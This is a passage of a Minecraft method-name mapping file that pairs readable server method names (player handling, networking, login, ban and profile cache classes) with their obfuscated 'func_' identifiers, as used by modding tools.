net/minecraft/entity/player/EntityPlayerMP/markPlayerActive ()V net/minecraft/entity/player/EntityPlayerMP/func_143004_u ()V +MD: net/minecraft/server/management/ItemInWorldManager/updateBlockRemoving ()V net/minecraft/server/management/ItemInWorldManager/func_73075_a ()V +MD: net/minecraft/server/management/ItemInWorldManager/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/management/ItemInWorldManager/func_73076_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/management/ItemInWorldManager/blockRemoving (Lnet/minecraft/util/BlockPos;)V net/minecraft/server/management/ItemInWorldManager/func_180785_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/server/management/ItemInWorldManager/onBlockClicked (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/server/management/ItemInWorldManager/func_180784_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/server/management/ItemInWorldManager/setWorld (Lnet/minecraft/world/WorldServer;)V net/minecraft/server/management/ItemInWorldManager/func_73080_a (Lnet/minecraft/world/WorldServer;)V +MD: net/minecraft/server/management/ItemInWorldManager/tryUseItem (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z net/minecraft/server/management/ItemInWorldManager/func_73085_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/server/management/ItemInWorldManager/activateBlockOrUseItem (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/server/management/ItemInWorldManager/func_180236_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/server/management/ItemInWorldManager/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/server/management/ItemInWorldManager/func_73081_b ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/server/management/ItemInWorldManager/initializeGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/management/ItemInWorldManager/func_73077_b (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/management/ItemInWorldManager/tryHarvestBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/server/management/ItemInWorldManager/func_180237_b (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/server/management/ItemInWorldManager/survivalOrAdventure ()Z net/minecraft/server/management/ItemInWorldManager/func_180239_c ()Z +MD: net/minecraft/server/management/ItemInWorldManager/removeBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/server/management/ItemInWorldManager/func_180235_c (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/server/management/ItemInWorldManager/isCreative ()Z net/minecraft/server/management/ItemInWorldManager/func_73083_d ()Z +MD: net/minecraft/server/management/ItemInWorldManager/cancelDestroyingBlock ()V net/minecraft/server/management/ItemInWorldManager/func_180238_e ()V +MD: net/minecraft/entity/EntityTrackerEntry/sendDestroyEntityPacketToTrackedPlayers ()V net/minecraft/entity/EntityTrackerEntry/func_73119_a ()V +MD: net/minecraft/entity/EntityTrackerEntry/sendPacketToTrackedPlayers (Lnet/minecraft/network/Packet;)V net/minecraft/entity/EntityTrackerEntry/func_151259_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/entity/EntityTrackerEntry/updatePlayerList (Ljava/util/List;)V net/minecraft/entity/EntityTrackerEntry/func_73122_a (Ljava/util/List;)V +MD: net/minecraft/entity/EntityTrackerEntry/removeFromTrackedPlayers (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/entity/EntityTrackerEntry/func_73118_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/entity/EntityTrackerEntry/sendMetadataToAllAssociatedPlayers ()V net/minecraft/entity/EntityTrackerEntry/func_111190_b ()V +MD: net/minecraft/entity/EntityTrackerEntry/func_151261_b (Lnet/minecraft/network/Packet;)V net/minecraft/entity/EntityTrackerEntry/func_151261_b (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/entity/EntityTrackerEntry/updatePlayerEntities (Ljava/util/List;)V net/minecraft/entity/EntityTrackerEntry/func_73125_b (Ljava/util/List;)V +MD: net/minecraft/entity/EntityTrackerEntry/updatePlayerEntity (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/entity/EntityTrackerEntry/func_73117_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/entity/EntityTrackerEntry/createSpawnPacket ()Lnet/minecraft/network/Packet; net/minecraft/entity/EntityTrackerEntry/func_151260_c ()Lnet/minecraft/network/Packet; +MD: net/minecraft/entity/EntityTrackerEntry/func_180233_c (Lnet/minecraft/entity/player/EntityPlayerMP;)Z net/minecraft/entity/EntityTrackerEntry/func_180233_c (Lnet/minecraft/entity/player/EntityPlayerMP;)Z +MD: net/minecraft/entity/EntityTrackerEntry/removeTrackedPlayerSymmetric (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/entity/EntityTrackerEntry/func_73123_c (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/entity/EntityTrackerEntry/isPlayerWatchingThisChunk (Lnet/minecraft/entity/player/EntityPlayerMP;)Z net/minecraft/entity/EntityTrackerEntry/func_73121_d (Lnet/minecraft/entity/player/EntityPlayerMP;)Z +MD: net/minecraft/entity/EntityTrackerEntry/equals (Ljava/lang/Object;)Z net/minecraft/entity/EntityTrackerEntry/equals (Ljava/lang/Object;)Z +MD: net/minecraft/entity/EntityTrackerEntry/hashCode ()I net/minecraft/entity/EntityTrackerEntry/hashCode ()I +MD: net/minecraft/network/PingResponseHandler/writeAndFlush (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/PingResponseHandler/func_151256_a (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/PingResponseHandler/getStringBuffer (Ljava/lang/String;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PingResponseHandler/func_151255_a (Ljava/lang/String;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PingResponseHandler/channelRead (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V net/minecraft/network/PingResponseHandler/channelRead (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V +MD: net/minecraft/client/network/NetHandlerHandshakeMemory/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/network/NetHandlerHandshakeMemory/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/network/NetHandlerHandshakeMemory/processHandshake (Lnet/minecraft/network/handshake/client/C00Handshake;)V net/minecraft/client/network/NetHandlerHandshakeMemory/func_147383_a (Lnet/minecraft/network/handshake/client/C00Handshake;)V +MD: net/minecraft/network/NetworkSystem$1/load ()Lio/netty/channel/nio/NioEventLoopGroup; net/minecraft/network/NetworkSystem$1/func_179280_b ()Lio/netty/channel/nio/NioEventLoopGroup; +MD: net/minecraft/network/NetworkSystem$1/load ()Ljava/lang/Object; net/minecraft/network/NetworkSystem$1/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkSystem$2/load ()Lio/netty/channel/epoll/EpollEventLoopGroup; net/minecraft/network/NetworkSystem$2/func_179280_b ()Lio/netty/channel/epoll/EpollEventLoopGroup; +MD: net/minecraft/network/NetworkSystem$2/load ()Ljava/lang/Object; net/minecraft/network/NetworkSystem$2/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkSystem$3/load ()Lio/netty/channel/local/LocalEventLoopGroup; net/minecraft/network/NetworkSystem$3/func_179280_b ()Lio/netty/channel/local/LocalEventLoopGroup; +MD: net/minecraft/network/NetworkSystem$3/load ()Ljava/lang/Object; net/minecraft/network/NetworkSystem$3/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkSystem$4/initChannel (Lio/netty/channel/Channel;)V net/minecraft/network/NetworkSystem$4/initChannel (Lio/netty/channel/Channel;)V +MD: net/minecraft/network/NetworkSystem$5/initChannel (Lio/netty/channel/Channel;)V net/minecraft/network/NetworkSystem$5/initChannel (Lio/netty/channel/Channel;)V +MD: net/minecraft/network/NetworkSystem$6/call ()Ljava/lang/String; net/minecraft/network/NetworkSystem$6/call ()Ljava/lang/String; +MD: net/minecraft/network/NetworkSystem$6/call ()Ljava/lang/Object; net/minecraft/network/NetworkSystem$6/call ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkSystem$7/operationComplete (Lio/netty/util/concurrent/Future;)V net/minecraft/network/NetworkSystem$7/operationComplete (Lio/netty/util/concurrent/Future;)V +MD: net/minecraft/network/NetworkSystem/addLocalEndpoint ()Ljava/net/SocketAddress; net/minecraft/network/NetworkSystem/func_151270_a ()Ljava/net/SocketAddress; +MD: net/minecraft/network/NetworkSystem/addLanEndpoint (Ljava/net/InetAddress;I)V net/minecraft/network/NetworkSystem/func_151265_a (Ljava/net/InetAddress;I)V +MD: net/minecraft/network/NetworkSystem/access$000 (Lnet/minecraft/network/NetworkSystem;)Ljava/util/List; net/minecraft/network/NetworkSystem/access$000 (Lnet/minecraft/network/NetworkSystem;)Ljava/util/List; +MD: net/minecraft/network/NetworkSystem/terminateEndpoints ()V net/minecraft/network/NetworkSystem/func_151268_b ()V +MD: net/minecraft/network/NetworkSystem/access$100 (Lnet/minecraft/network/NetworkSystem;)Lnet/minecraft/server/MinecraftServer; net/minecraft/network/NetworkSystem/access$100 (Lnet/minecraft/network/NetworkSystem;)Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/network/NetworkSystem/networkTick ()V net/minecraft/network/NetworkSystem/func_151269_c ()V +MD: net/minecraft/network/NetworkSystem/getServer ()Lnet/minecraft/server/MinecraftServer; net/minecraft/network/NetworkSystem/func_151267_d ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/network/NetHandlerPlayServer$1/operationComplete (Lio/netty/util/concurrent/Future;)V net/minecraft/network/NetHandlerPlayServer$1/operationComplete (Lio/netty/util/concurrent/Future;)V +MD: net/minecraft/network/NetHandlerPlayServer$2/run ()V net/minecraft/network/NetHandlerPlayServer$2/run ()V +MD: net/minecraft/network/NetHandlerPlayServer$3/call ()Ljava/lang/String; net/minecraft/network/NetHandlerPlayServer$3/call ()Ljava/lang/String; +MD: net/minecraft/network/NetHandlerPlayServer$3/call ()Ljava/lang/Object; net/minecraft/network/NetHandlerPlayServer$3/call ()Ljava/lang/Object; +MD: net/minecraft/network/NetHandlerPlayServer/getNetworkManager ()Lnet/minecraft/network/NetworkManager; net/minecraft/network/NetHandlerPlayServer/func_147362_b ()Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/network/NetHandlerPlayServer/setPlayerLocation (DDDFF)V net/minecraft/network/NetHandlerPlayServer/func_147364_a (DDDFF)V +MD: net/minecraft/network/NetHandlerPlayServer/setPlayerLocation (DDDFFLjava/util/Set;)V net/minecraft/network/NetHandlerPlayServer/func_175089_a (DDDFFLjava/util/Set;)V +MD: net/minecraft/network/NetHandlerPlayServer/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/NetHandlerPlayServer/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/network/NetHandlerPlayServer/sendPacket (Lnet/minecraft/network/Packet;)V net/minecraft/network/NetHandlerPlayServer/func_147359_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/network/NetHandlerPlayServer/processTabComplete (Lnet/minecraft/network/play/client/C14PacketTabComplete;)V net/minecraft/network/NetHandlerPlayServer/func_147341_a (Lnet/minecraft/network/play/client/C14PacketTabComplete;)V +MD: net/minecraft/network/NetHandlerPlayServer/processChatMessage (Lnet/minecraft/network/play/client/C01PacketChatMessage;)V net/minecraft/network/NetHandlerPlayServer/func_147354_a (Lnet/minecraft/network/play/client/C01PacketChatMessage;)V +MD: net/minecraft/network/NetHandlerPlayServer/processClientStatus (Lnet/minecraft/network/play/client/C16PacketClientStatus;)V net/minecraft/network/NetHandlerPlayServer/func_147342_a (Lnet/minecraft/network/play/client/C16PacketClientStatus;)V +MD: net/minecraft/network/NetHandlerPlayServer/processClientSettings (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V net/minecraft/network/NetHandlerPlayServer/func_147352_a (Lnet/minecraft/network/play/client/C15PacketClientSettings;)V +MD: net/minecraft/network/NetHandlerPlayServer/processConfirmTransaction (Lnet/minecraft/network/play/client/C0FPacketConfirmTransaction;)V net/minecraft/network/NetHandlerPlayServer/func_147339_a (Lnet/minecraft/network/play/client/C0FPacketConfirmTransaction;)V +MD: net/minecraft/network/NetHandlerPlayServer/processEnchantItem (Lnet/minecraft/network/play/client/C11PacketEnchantItem;)V net/minecraft/network/NetHandlerPlayServer/func_147338_a (Lnet/minecraft/network/play/client/C11PacketEnchantItem;)V +MD: net/minecraft/network/NetHandlerPlayServer/processClickWindow (Lnet/minecraft/network/play/client/C0EPacketClickWindow;)V net/minecraft/network/NetHandlerPlayServer/func_147351_a (Lnet/minecraft/network/play/client/C0EPacketClickWindow;)V +MD: net/minecraft/network/NetHandlerPlayServer/processCloseWindow (Lnet/minecraft/network/play/client/C0DPacketCloseWindow;)V net/minecraft/network/NetHandlerPlayServer/func_147356_a (Lnet/minecraft/network/play/client/C0DPacketCloseWindow;)V +MD: net/minecraft/network/NetHandlerPlayServer/processVanilla250Packet (Lnet/minecraft/network/play/client/C17PacketCustomPayload;)V net/minecraft/network/NetHandlerPlayServer/func_147349_a (Lnet/minecraft/network/play/client/C17PacketCustomPayload;)V +MD: net/minecraft/network/NetHandlerPlayServer/processUseEntity (Lnet/minecraft/network/play/client/C02PacketUseEntity;)V net/minecraft/network/NetHandlerPlayServer/func_147340_a (Lnet/minecraft/network/play/client/C02PacketUseEntity;)V +MD: net/minecraft/network/NetHandlerPlayServer/processKeepAlive (Lnet/minecraft/network/play/client/C00PacketKeepAlive;)V net/minecraft/network/NetHandlerPlayServer/func_147353_a (Lnet/minecraft/network/play/client/C00PacketKeepAlive;)V +MD: net/minecraft/network/NetHandlerPlayServer/processPlayer (Lnet/minecraft/network/play/client/C03PacketPlayer;)V net/minecraft/network/NetHandlerPlayServer/func_147347_a (Lnet/minecraft/network/play/client/C03PacketPlayer;)V +MD: net/minecraft/network/NetHandlerPlayServer/processPlayerAbilities (Lnet/minecraft/network/play/client/C13PacketPlayerAbilities;)V net/minecraft/network/NetHandlerPlayServer/func_147348_a (Lnet/minecraft/network/play/client/C13PacketPlayerAbilities;)V +MD: net/minecraft/network/NetHandlerPlayServer/processPlayerDigging (Lnet/minecraft/network/play/client/C07PacketPlayerDigging;)V net/minecraft/network/NetHandlerPlayServer/func_147345_a (Lnet/minecraft/network/play/client/C07PacketPlayerDigging;)V +MD: net/minecraft/network/NetHandlerPlayServer/processEntityAction (Lnet/minecraft/network/play/client/C0BPacketEntityAction;)V net/minecraft/network/NetHandlerPlayServer/func_147357_a (Lnet/minecraft/network/play/client/C0BPacketEntityAction;)V +MD: net/minecraft/network/NetHandlerPlayServer/processInput (Lnet/minecraft/network/play/client/C0CPacketInput;)V net/minecraft/network/NetHandlerPlayServer/func_147358_a (Lnet/minecraft/network/play/client/C0CPacketInput;)V +MD: net/minecraft/network/NetHandlerPlayServer/handleResourcePackStatus (Lnet/minecraft/network/play/client/C19PacketResourcePackStatus;)V net/minecraft/network/NetHandlerPlayServer/func_175086_a (Lnet/minecraft/network/play/client/C19PacketResourcePackStatus;)V +MD: net/minecraft/network/NetHandlerPlayServer/processHeldItemChange (Lnet/minecraft/network/play/client/C09PacketHeldItemChange;)V net/minecraft/network/NetHandlerPlayServer/func_147355_a (Lnet/minecraft/network/play/client/C09PacketHeldItemChange;)V +MD: net/minecraft/network/NetHandlerPlayServer/processCreativeInventoryAction (Lnet/minecraft/network/play/client/C10PacketCreativeInventoryAction;)V net/minecraft/network/NetHandlerPlayServer/func_147344_a (Lnet/minecraft/network/play/client/C10PacketCreativeInventoryAction;)V +MD: net/minecraft/network/NetHandlerPlayServer/processUpdateSign (Lnet/minecraft/network/play/client/C12PacketUpdateSign;)V net/minecraft/network/NetHandlerPlayServer/func_147343_a (Lnet/minecraft/network/play/client/C12PacketUpdateSign;)V +MD: net/minecraft/network/NetHandlerPlayServer/handleAnimation (Lnet/minecraft/network/play/client/C0APacketAnimation;)V net/minecraft/network/NetHandlerPlayServer/func_175087_a (Lnet/minecraft/network/play/client/C0APacketAnimation;)V +MD: net/minecraft/network/NetHandlerPlayServer/handleSpectate (Lnet/minecraft/network/play/client/C18PacketSpectate;)V net/minecraft/network/NetHandlerPlayServer/func_175088_a (Lnet/minecraft/network/play/client/C18PacketSpectate;)V +MD: net/minecraft/network/NetHandlerPlayServer/processPlayerBlockPlacement (Lnet/minecraft/network/play/client/C08PacketPlayerBlockPlacement;)V net/minecraft/network/NetHandlerPlayServer/func_147346_a (Lnet/minecraft/network/play/client/C08PacketPlayerBlockPlacement;)V +MD: net/minecraft/network/NetHandlerPlayServer/func_183006_b (Lnet/minecraft/network/play/client/C03PacketPlayer;)Z net/minecraft/network/NetHandlerPlayServer/func_183006_b (Lnet/minecraft/network/play/client/C03PacketPlayer;)Z +MD: net/minecraft/network/NetHandlerPlayServer/update ()V net/minecraft/network/NetHandlerPlayServer/func_73660_a ()V +MD: net/minecraft/network/NetHandlerPlayServer/kickPlayerFromServer (Ljava/lang/String;)V net/minecraft/network/NetHandlerPlayServer/func_147360_c (Ljava/lang/String;)V +MD: net/minecraft/network/NetHandlerPlayServer/currentTimeMillis ()J net/minecraft/network/NetHandlerPlayServer/func_147363_d ()J +MD: net/minecraft/network/NetHandlerPlayServer/handleSlashCommand (Ljava/lang/String;)V net/minecraft/network/NetHandlerPlayServer/func_147361_d (Ljava/lang/String;)V +MD: net/minecraft/server/network/NetHandlerHandshakeTCP/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/network/NetHandlerHandshakeTCP/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/network/NetHandlerHandshakeTCP/processHandshake (Lnet/minecraft/network/handshake/client/C00Handshake;)V net/minecraft/server/network/NetHandlerHandshakeTCP/func_147383_a (Lnet/minecraft/network/handshake/client/C00Handshake;)V +MD: net/minecraft/server/network/NetHandlerLoginServer$1/operationComplete (Lio/netty/channel/ChannelFuture;)V net/minecraft/server/network/NetHandlerLoginServer$1/operationComplete (Lio/netty/channel/ChannelFuture;)V +MD: net/minecraft/server/network/NetHandlerLoginServer$1/operationComplete (Lio/netty/util/concurrent/Future;)V net/minecraft/server/network/NetHandlerLoginServer$1/operationComplete (Lio/netty/util/concurrent/Future;)V +MD: net/minecraft/server/network/NetHandlerLoginServer$2/run ()V net/minecraft/server/network/NetHandlerLoginServer$2/run ()V +MD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/values ()[Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState; net/minecraft/server/network/NetHandlerLoginServer$LoginState/values ()[Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState; +MD: net/minecraft/server/network/NetHandlerLoginServer/getOfflineProfile (Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/network/NetHandlerLoginServer/func_152506_a (Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/network/NetHandlerLoginServer/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/network/NetHandlerLoginServer/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/network/NetHandlerLoginServer/closeConnection (Ljava/lang/String;)V net/minecraft/server/network/NetHandlerLoginServer/func_147322_a (Ljava/lang/String;)V +MD: net/minecraft/server/network/NetHandlerLoginServer/processLoginStart (Lnet/minecraft/network/login/client/C00PacketLoginStart;)V net/minecraft/server/network/NetHandlerLoginServer/func_147316_a (Lnet/minecraft/network/login/client/C00PacketLoginStart;)V +MD: net/minecraft/server/network/NetHandlerLoginServer/processEncryptionResponse (Lnet/minecraft/network/login/client/C01PacketEncryptionResponse;)V net/minecraft/server/network/NetHandlerLoginServer/func_147315_a (Lnet/minecraft/network/login/client/C01PacketEncryptionResponse;)V +MD: net/minecraft/server/network/NetHandlerLoginServer/access$000 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Lnet/minecraft/server/MinecraftServer; net/minecraft/server/network/NetHandlerLoginServer/access$000 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/server/network/NetHandlerLoginServer/access$102 (Lnet/minecraft/server/network/NetHandlerLoginServer;Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/network/NetHandlerLoginServer/access$102 (Lnet/minecraft/server/network/NetHandlerLoginServer;Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/network/NetHandlerLoginServer/access$502 (Lnet/minecraft/server/network/NetHandlerLoginServer;Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState;)Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState; net/minecraft/server/network/NetHandlerLoginServer/access$502 (Lnet/minecraft/server/network/NetHandlerLoginServer;Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState;)Lnet/minecraft/server/network/NetHandlerLoginServer$LoginState; +MD: net/minecraft/server/network/NetHandlerLoginServer/tryAcceptPlayer ()V net/minecraft/server/network/NetHandlerLoginServer/func_147326_c ()V +MD: net/minecraft/server/network/NetHandlerLoginServer/access$100 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/network/NetHandlerLoginServer/access$100 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/network/NetHandlerLoginServer/update ()V net/minecraft/server/network/NetHandlerLoginServer/func_73660_a ()V +MD: net/minecraft/server/network/NetHandlerLoginServer/access$200 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Ljava/lang/String; net/minecraft/server/network/NetHandlerLoginServer/access$200 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Ljava/lang/String; +MD: net/minecraft/server/network/NetHandlerLoginServer/getConnectionInfo ()Ljava/lang/String; net/minecraft/server/network/NetHandlerLoginServer/func_147317_d ()Ljava/lang/String; +MD: net/minecraft/server/network/NetHandlerLoginServer/access$300 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Ljavax/crypto/SecretKey; net/minecraft/server/network/NetHandlerLoginServer/access$300 (Lnet/minecraft/server/network/NetHandlerLoginServer;)Ljavax/crypto/SecretKey; +MD: net/minecraft/server/network/NetHandlerLoginServer/access$400 ()Lorg/apache/logging/log4j/Logger; net/minecraft/server/network/NetHandlerLoginServer/access$400 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/network/NetHandlerStatusServer/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/server/network/NetHandlerStatusServer/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/server/network/NetHandlerStatusServer/processPing (Lnet/minecraft/network/status/client/C01PacketPing;)V net/minecraft/server/network/NetHandlerStatusServer/func_147311_a (Lnet/minecraft/network/status/client/C01PacketPing;)V +MD: net/minecraft/server/network/NetHandlerStatusServer/processServerQuery (Lnet/minecraft/network/status/client/C00PacketServerQuery;)V net/minecraft/server/network/NetHandlerStatusServer/func_147312_a (Lnet/minecraft/network/status/client/C00PacketServerQuery;)V +MD: net/minecraft/server/management/BanEntry/onSerialization (Lcom/google/gson/JsonObject;)V net/minecraft/server/management/BanEntry/func_152641_a (Lcom/google/gson/JsonObject;)V +MD: net/minecraft/server/management/BanEntry/getBanEndDate ()Ljava/util/Date; net/minecraft/server/management/BanEntry/func_73680_d ()Ljava/util/Date; +MD: net/minecraft/server/management/BanEntry/getBanReason ()Ljava/lang/String; net/minecraft/server/management/BanEntry/func_73686_f ()Ljava/lang/String; +MD: net/minecraft/server/management/BanEntry/hasBanExpired ()Z net/minecraft/server/management/BanEntry/func_73682_e ()Z +MD: net/minecraft/server/management/PlayerProfileCache$1/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V net/minecraft/server/management/PlayerProfileCache$1/onProfileLookupFailed (Lcom/mojang/authlib/GameProfile;Ljava/lang/Exception;)V +MD: net/minecraft/server/management/PlayerProfileCache$1/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PlayerProfileCache$1/onProfileLookupSucceeded (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PlayerProfileCache$2/getActualTypeArguments ()[Ljava/lang/reflect/Type; net/minecraft/server/management/PlayerProfileCache$2/getActualTypeArguments ()[Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/PlayerProfileCache$2/getOwnerType ()Ljava/lang/reflect/Type; net/minecraft/server/management/PlayerProfileCache$2/getOwnerType ()Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/PlayerProfileCache$2/getRawType ()Ljava/lang/reflect/Type; net/minecraft/server/management/PlayerProfileCache$2/getRawType ()Ljava/lang/reflect/Type; +MD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/getGameProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/PlayerProfileCache$ProfileEntry/func_152668_a ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/access$200 (Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry;)Ljava/util/Date; net/minecraft/server/management/PlayerProfileCache$ProfileEntry/access$200 (Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry;)Ljava/util/Date; +MD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/getExpirationDate ()Ljava/util/Date; net/minecraft/server/management/PlayerProfileCache$ProfileEntry/func_152670_b ()Ljava/util/Date; +MD: net/minecraft/server/management/PlayerProfileCache$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry; net/minecraft/server/management/PlayerProfileCache$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry; +MD: net/minecraft/server/management/PlayerProfileCache$Serializer/serialize (Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/server/management/PlayerProfileCache$Serializer/serialize (Lnet/minecraft/server/management/PlayerProfileCache$ProfileEntry;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/server/management/PlayerProfileCache$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/server/management/PlayerProfileCache$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/server/management/PlayerProfileCache$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/server/management/PlayerProfileCache$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/server/management/PlayerProfileCache/getUsernames ()[Ljava/lang/String; net/minecraft/server/management/PlayerProfileCache/func_152654_a ()[Ljava/lang/String; +MD: net/minecraft/server/management/PlayerProfileCache/getEntriesWithLimit (I)Ljava/util/List; net/minecraft/server/management/PlayerProfileCache/func_152656_a (I)Ljava/util/List; +MD: net/minecraft/server/management/PlayerProfileCache/addEntry (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/management/PlayerProfileCache/func_152649_a (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/management/PlayerProfileCache/addEntry (Lcom/mojang/authlib/GameProfile;Ljava/util/Date;)V net/minecraft/server/management/PlayerProfileCache/func_152651_a (Lcom/mojang/authlib/GameProfile;Ljava/util/Date;)V +MD: net/minecraft/server/management/PlayerProfileCache/getGameProfileForUsername (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/PlayerProfileCache/func_152655_a (Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/PlayerProfileCache/getProfileByUUID (Ljava/util/UUID;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/PlayerProfileCache/func_152652_a (Ljava/util/UUID;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/PlayerProfileCache/getGameProfile (Lnet/minecraft/server/MinecraftServer;Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; net/minecraft/server/management/PlayerProfileCache/func_152650_a (Lnet/minecraft/server/MinecraftServer;Ljava/lang/String;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/server/management/PlayerProfileCache/load ()V net/minecraft/server/management/PlayerProfileCache/func_152657_b ()V +MD: net/minecraft/server/management/PlayerProfileCache/getByUUID 